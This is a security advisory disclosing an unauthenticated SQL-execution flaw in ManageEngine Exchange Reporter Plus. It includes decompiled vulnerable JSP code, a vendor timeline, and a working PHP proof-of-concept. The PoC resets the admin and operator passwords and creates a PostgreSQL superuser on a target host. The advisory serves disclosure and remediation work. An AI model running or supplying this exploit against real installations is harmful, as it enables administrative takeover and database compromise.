SSD Advisory – ManageEngine Exchange Reporter Plus Auth Bypass / Arbitrary SQL Statement Execution

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
ManageEngine Exchange Reporter Plus is a web-based analysis and reporting solution for Microsoft Exchange Servers. Exchange Reporter Plus is a comprehensive MS Exchange reporting software that provides over 100 different reports on every aspect of the Microsoft Exchange Server environment.
Vulnerability Details
The ManageEngine Exchange Reporter product installs a JBoss server which listens on default port 8181 (tcp/http) for incoming requests. It offers an admin panel on that port.
Without authorization/authentication it is possible to visit the RunQuery.jsp script to execute arbitrary PostgreSQL statements. When the EXECUTE parameter is set to ‘true’, it is possible to pass arbitrary SQL queries through the QUERY parameter (stacked queries are allowed).

Given this, a remote attacker could ex. reset the administrative credentials to values of choice, create a database super user and so on.
It could be also possible to execute arbitrary code with the privileges of the target user (usually Administrator) through stored procedures or trigger underlying vulnerabilities against the target application.
A proof of concept code (see below) which resets the web panel credentials to default values, ‘admin:admin’ and ‘operator:admin’, if they has been changed.
Vulnerable code
In C:\ManageEngine\Exchange Reporter Plus\webapps\erp\WEB-INF\web.xml:

...
<servlet>
  <servlet-name>org.apache.jsp.adsf.jsp.common.RunQuery_jsp</servlet-name>
  <servlet-class>org.apache.jsp.adsf.jsp.common.RunQuery_jsp</servlet-class>
</servlet>
...
...
<servlet-mapping>
  <servlet-name>org.apache.jsp.adsf.jsp.common.RunQuery_jsp</servlet-name>
  <url-pattern>/adsf/jsp/common/RunQuery.jsp</url-pattern>
</servlet-mapping>
...

The decompiled org.apache.jsp.adsf.jsp.common.RunQuery_jsp class (see line 83):

...
package org.apache.jsp.adsf.jsp.common;
import com.manageengine.ads.fw.util.RunQuery;
import java.io.IOException;
import java.util.*;
import javax.el.ExpressionFactory;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import org.apache.AnnotationProcessor;
import org.apache.jasper.runtime.*;
import org.apache.taglibs.standard.tag.el.core.OutTag;
public final class RunQuery_jsp extends HttpJspBase
    implements JspSourceDependent
{
            public RunQuery_jsp()
            {
            }
            public Object getDependants()
            {
/*  40*/        return _jspx_dependants;
            }
            public void _jspInit()
            {
/*  44*/        _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody = TagHandlerPool.getTagHandlerPool(getServletConfig());
/*  45*/        _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody = TagHandlerPool.getTagHandlerPool(getServletConfig());
/*  46*/        _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
/*  47*/        _jsp_annotationprocessor = (AnnotationProcessor)getServletConfig().getServletContext().getAttribute(org/apache/AnnotationProcessor.getName());
            }
            public void _jspDestroy()
            {
/*  51*/        _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody.release();
/*  52*/        _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody.release();
            }
            public void _jspService(HttpServletRequest request, HttpServletResponse response)
                throws IOException, ServletException
            {
                JspWriter out;
                JspWriter _jspx_out;
                PageContext _jspx_page_context;
/*  58*/        PageContext pageContext = null;
/*  59*/        HttpSession session = null;
/*  60*/        ServletContext application = null;
/*  61*/        ServletConfig config = null;
/*  62*/        out = null;
/*  63*/        Object page = this;
/*  64*/        _jspx_out = null;
/*  65*/        _jspx_page_context = null;
                String sqlQuery;
                String sqlTask;
                Hashtable rows;
                int rowsAffected;
                String errorMessage;
/*  69*/        response.setContentType("text/html");
/*  70*/        PageContext pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true);
/*  72*/        _jspx_page_context = pageContext;
/*  73*/        ServletContext application = pageContext.getServletContext();
/*  74*/        ServletConfig config = pageContext.getServletConfig();
/*  75*/        HttpSession session = pageContext.getSession();
/*  76*/        out = pageContext.getOut();
/*  77*/        _jspx_out = out;
/*  79*/        out.write("<html><head>");
/*  80*/        out.write("\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />");
/*  81*/        out.write(10);
/*  82*/        out.write(10);
/*  83*/        sqlQuery = "";
/*  83*/        sqlTask = null;
/*  83*/        rows = null;
/*  83*/        rowsAffected = 0;
/*  83*/        Vector header = null;
/*  83*/        Vector tabular = null;
/*  83*/        errorMessage = null;
/*  83*/        if(request.getParameter("EXECUTE") != null && request.getParameter("EXECUTE").equalsIgnoreCase("true")) <---------------------------
                {
/*  83*/            sqlQuery = request.getParameter("QUERY").trim(); <------------------------------------
/*  83*/            sqlTask = sqlQuery.substring(0, 6);<------------------------------
/*  83*/            try
                    {
/*  83*/                if(sqlTask.equalsIgnoreCase("SELECT"))
/*  83*/                    rows = RunQuery.executeQuery(sqlQuery); <---------------- boom
/*  83*/                else
/*  83*/                if(sqlTask.equalsIgnoreCase("UPDATE") || sqlTask.equalsIgnoreCase("INSERT") || sqlTask.equalsIgnoreCase("DELETE"))
/*  83*/                    rowsAffected = RunQuery.executeUpdate(sqlQuery); <---------------- boom
                    }
/*  83*/            catch(Exception e)
                    {
/*  83*/                e.printStackTrace();
/*  83*/                errorMessage = e.getMessage();
                    }
                }
/*  84*/        out.write("\n<script language=\"Javascript\" src=\"js/validation.js\" type=\"text/javascript\"></script><script>window.focus();\nfunction validateQuery()\n{\nvar temp = document.SQL_QUERY_FORM.QUERY.value;\nvar sqlQuery = temp.replace(/^\\s+|\\s+$/g,'');\nif(sqlQuery.length>6)\n{\nvar sqlTask = (sqlQuery.substring(0,6)).toUpperCase();\nif(sqlTask == \"SELECT\" || sqlTask == \"INSERT\" || sqlTask == \"DELETE\" || sqlTask == \"UPDATE\")\n{\ndocument.SQL_QUERY_FORM.EXECUTE.value = \"true\";\nreturn true;\n}\nelse\n{\nalert(\"Please check the query again\");//No I18N\nreturn false;\n}\n}\nelse\n{\nalert(\"Please check the query again\");//No I18N\nreturn false;\n}\n}</script><head><link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"");
/*  85*/        if(_jspx_meth_c_005fout_005f0(_jspx_page_context))
                {
/* 134*/            _jspxFactory.releasePageContext(_jspx_page_context);
/* 134*/            return;
                }
/*  87*/        out.write("\" />\n<title>");
/*  88*/        if(_jspx_meth_c_005fout_005f1(_jspx_page_context))
                {
/* 134*/            _jspxFactory.releasePageContext(_jspx_page_context);
/* 134*/            return;
                }
/*  90*/        out.write("</title>");
/*  91*/        out.write("</head><body></script><!--Form Starts -->\n<form name=\"SQL_QUERY_FORM\" action=\"runQuery.do\" method=\"post\"><input type=\"hidden\" name=\"EXECUTE\" value=\"\"><table border=\"0\" cellpadding=\"5\" cellspacing=\"1\" width=\"80%\"><tr><td align=\"left\" style=\"background:#FFFFFF none repeat scroll 0 0;border-top:1px solid #EEF4F7;height:20px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;font-weight:normal;\"><b>Tips</b><br>In order to query tables with very high number of records, use SELECT * FROM TABLE_NAME LIMIT STARTING_INDEX, NO_OF_ROWS<br><br><b>Example</b><br>select * from tableName limit 10 (returns first 10 rows)<br>select * from tableName limit 1 offset 4 (returns 1 row after leaving first 4 rows)<br><br>Please ensure that the NO_OF_ROWS does not exceed 500</td>");
/*  92*/        out.write("</tr><tr><td><span style=\"font-weight:bold;\"><span></td></tr><tr><td><span style=\"font-weight:bold;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;color:#164674\">Enter the Query to execute:<span></td>");
/*  93*/        out.write("</tr><tr><td><TEXTAREA ID=\"query\" NAME=\"QUERY\" ROWS=\"5\" style=\"width:73%\">");
/*  94*/        out.print(sqlQuery);
/*  95*/        out.write("</TEXTAREA></td></tr><tr><td><INPUT style=\"background:transparent url(../images/ads/common/buttonbg.gif) repeat-x scroll left center;border-color:#C3D0D5 #586B7A #586B7A #C3D0D5;border-style:solid;border-width:1px;height:20px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;font-weight:normal;\" onclick=\"return validateQuery();\" readOnly type=\"submit\" value=\"Execute Query\"></td></tr><tr><td> <table border=\"0\" cellpadding=\"2\" cellspacing=\"1\" width=\"100%\">");
/*  96*/        if(errorMessage == null)
                {
/*  96*/            if(sqlTask != null && sqlTask.equalsIgnoreCase("SELECT"))
                    {
/*  96*/                Vector header = (Vector)rows.get("header");
/*  96*/                Vector tabular = (Vector)rows.get("tabular");
/*  97*/                out.write("<tr><td colspan=\"2\" align=\"left\" valign=\"top\"> <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr bgcolor=\"#DCDCDC\">");
/*  98*/                if(header != null)
                        {
/*  98*/                    for(int i = 0; i < header.size(); i++)
                            {
/*  99*/                        out.write("\n<td width=\"30\" style=\"padding:0 3px 3px;white-space:nowrap;height:23px;font-weight:bold;padding-bottom:3px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;border:1px solid;\">");
/* 100*/                        out.print((String)header.get(i));
/* 101*/                        out.write("</td> ");
                            }
                        }
/* 103*/                out.write("</tr>");
/* 104*/                if(tabular != null)
                        {
/* 104*/                    for(int j = 0; j < tabular.size(); j++)
                            {
/* 105*/                        out.write("<tr>");
/* 106*/                        String bgClass = "background:#F6F7BA none repeat scroll 0 0;border:1px solid;height:20px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;font-weight:normal;";
/* 106*/                        if(j % 2 != 0)
/* 106*/                            bgClass = "background:#FFFFFF none repeat scroll 0 0;border:1px solid;height:20px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;font-weight:normal;";
/* 106*/                        Vector oneRow = (Vector)tabular.get(j);
/* 106*/                        if(oneRow != null)
                                {
/* 106*/                            for(int k = 0; k < oneRow.size(); k++)
                                    {
/* 106*/                                String columnData = (String)oneRow.get(k);
/* 106*/                                if(columnData == null || columnData != null && columnData.trim().equalsIgnoreCase(""))
/* 106*/                                    columnData = "-";
/* 107*/                                out.write("\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n<td align=\"center\" style=\"");
/* 108*/                                out.print(bgClass);
/* 109*/                                out.write(34);
/* 110*/                                out.write(62);
/* 111*/                                out.print(columnData);
/* 112*/                                out.write("</td> ");
                                    }
                                }
/* 114*/                        out.write("</tr>");
                            }
                        }
                    } else
/* 115*/            if(sqlTask != null && (sqlTask.equalsIgnoreCase("INSERT") || sqlTask.equalsIgnoreCase("UPDATE") || sqlTask.equalsIgnoreCase("DELETE")))
                    {
/* 116*/                out.write("<tr><td align=\"center\" style=\"background:#FFFFFF none repeat scroll 0 0;border-top:1px solid #EEF4F7;height:20px;color:#164674;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;font-weight:normal;\">Query successfully executed. ");
/* 117*/                out.print(rowsAffected);
/* 118*/                out.write(" rows affected.</td>");
/* 119*/                out.write("</tr>");
                    }
                } else
                {
/* 121*/            out.write("<tr><td align=\"center\" style=\"background:#FFFFFF none repeat scroll 0 0;border-top:1px solid #EEF4F7;height:20px;color:#DC143C;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-weight:normal;\"><b>");
/* 122*/            out.print(errorMessage);
/* 123*/            out.write("</b></td></tr>");
                }
/* 125*/        out.write("</table></td></tr></table></td></tr></table></form></body></html>");
/* 134*/        _jspxFactory.releasePageContext(_jspx_page_context);
/* 135*/        break MISSING_BLOCK_LABEL_806;
                Throwable t;
/* 126*/        t;
/* 127*/        if(!(t instanceof SkipPageException))
                {
/* 128*/            out = _jspx_out;
/* 129*/            if(out != null && out.getBufferSize() != 0)
/* 130*/                try
                        {
/* 130*/                    out.clearBuffer();
                        }
/* 130*/                catch(IOException e) { }
/* 131*/            if(_jspx_page_context != null)
/* 131*/                _jspx_page_context.handlePageException(t);
                }
/* 134*/        _jspxFactory.releasePageContext(_jspx_page_context);
/* 135*/        break MISSING_BLOCK_LABEL_806;
                Exception exception;
/* 134*/        exception;
/* 134*/        _jspxFactory.releasePageContext(_jspx_page_context);
/* 134*/        throw exception;
            }
            private boolean _jspx_meth_c_005fout_005f0(PageContext _jspx_page_context)
                throws Throwable
            {
/* 140*/        PageContext pageContext = _jspx_page_context;
/* 141*/        JspWriter out = _jspx_page_context.getOut();
/* 143*/        OutTag _jspx_th_c_005fout_005f0 = (OutTag)_005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody.get(org/apache/taglibs/standard/tag/el/core/OutTag);
/* 144*/        _jspx_th_c_005fout_005f0.setPageContext(_jspx_page_context);
/* 145*/        _jspx_th_c_005fout_005f0.setParent(null);
/* 147*/        _jspx_th_c_005fout_005f0.setValue("${faviconPath}");
/* 149*/        _jspx_th_c_005fout_005f0.setDefault("/images/ads/common/ads_favicon.ico");
/* 150*/        int _jspx_eval_c_005fout_005f0 = _jspx_th_c_005fout_005f0.doStartTag();
/* 151*/        if(_jspx_th_c_005fout_005f0.doEndTag() == 5)
                {
/* 152*/            _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody.reuse(_jspx_th_c_005fout_005f0);
/* 153*/            return true;
                } else
                {
/* 155*/            _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody.reuse(_jspx_th_c_005fout_005f0);
/* 156*/            return false;
                }
            }
            private boolean _jspx_meth_c_005fout_005f1(PageContext _jspx_page_context)
                throws Throwable
            {
/* 161*/        PageContext pageContext = _jspx_page_context;
/* 162*/        JspWriter out = _jspx_page_context.getOut();
/* 164*/        OutTag _jspx_th_c_005fout_005f1 = (OutTag)_005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody.get(org/apache/taglibs/standard/tag/el/core/OutTag);
/* 165*/        _jspx_th_c_005fout_005f1.setPageContext(_jspx_page_context);
/* 166*/        _jspx_th_c_005fout_005f1.setParent(null);
/* 168*/        _jspx_th_c_005fout_005f1.setValue("${browserTitle}");
/* 169*/        int _jspx_eval_c_005fout_005f1 = _jspx_th_c_005fout_005f1.doStartTag();
/* 170*/        if(_jspx_th_c_005fout_005f1.doEndTag() == 5)
                {
/* 171*/            _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody.reuse(_jspx_th_c_005fout_005f1);
/* 172*/            return true;
                } else
                {
/* 174*/            _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody.reuse(_jspx_th_c_005fout_005f1);
/* 175*/            return false;
                }
            }
            private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
            private static List _jspx_dependants;
            private TagHandlerPool _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fdefault_005fnobody;
            private TagHandlerPool _005fjspx_005ftagPool_005fc_005fout_0026_005fvalue_005fnobody;
            private ExpressionFactory _el_expressionfactory;
            private AnnotationProcessor _jsp_annotationprocessor;
            static
            {
/*  28*/        _jspx_dependants = new ArrayList(2);
/*  29*/        _jspx_dependants.add("/adsf/jsp/common/jspf/CommonImports.jspf");
/*  30*/        _jspx_dependants.add("/adsf/jsp/common/jspf/TagLibImports.jspf");
            }
}
...

Proof of Concept

<?php
/*
ManageEngine Exchange Reporter Plus 4.7 (Build 4743) RunQuery_jsp Auth Bypass / Arbitrary SQL Statement
Execution Vulnerability poc
*/
error_reporting(E_ALL);
set_time_limit(0);
$host = $argv[1];
$port=8181;
                 //reset the all the passwords to 'admin'
$query=urlencode("UPDATE \"public\".\"aaapassword\" SET \"password_id\"='1', \"password\"='Ok6/FqR5WtJY5UCLrnvjQQ==', \"algorithm\"='MD5', \"salt\"='12345678', \"passwdprofile_id\"='2', \"passwdrule_id\"='1', \"createdtime\"='1412886359951' WHERE (\"password_id\"='1');".
                 "UPDATE \"public\".\"aaapassword\" SET \"password_id\"='2', \"password\"='Ok6/FqR5WtJY5UCLrnvjQQ==', \"algorithm\"='MD5', \"salt\"='12345678', \"passwdprofile_id\"='2', \"passwdrule_id\"='1', \"createdtime\"='1412886359951' WHERE (\"password_id\"='2');".
                 "CREATE USER sun PASSWORD 'tzu';". // create a PostgreSQL super user, just for testing purposes
                 "ALTER USER sun WITH SUPERUSER;");
$pk="GET /exchange/adsf/jsp/common/RunQuery.jsp?EXECUTE=true&QUERY=".$query." HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "User-Agent: Apache-HttpClient/4.1.1 (java 1.5)\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected!");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out."\n";
if (strpos($out,"Query successfully executed.")){
  echo "[*] Succeeded.";
} else {
  echo $out."\n";     echo "[!] Unknown error";
}
?>

Vendor Response
We initially contact the vendor on November 2014, in May 2015 after repeated attempts to get a status on the vulnerability we got a one line response from the vendor:

Appreciate your swift response, the vulnerability has been fixed with the latest build of ExchangeReporter Plus ( Build : 5010 ).
I am afraid its not included in the release notes, but we do have plans to include it in the discussion forum exclusively maintained for ExchangeReporterPlus.
We do have plans to inform our customers with the release notes of the next build and through the forum maintained exclusively for ExchangeReporter plus. Our documentation team is working on it.

So we assume it was fixed, though we have no further information to provide their customers beside to contact ManageEngine support.

?

Get in touch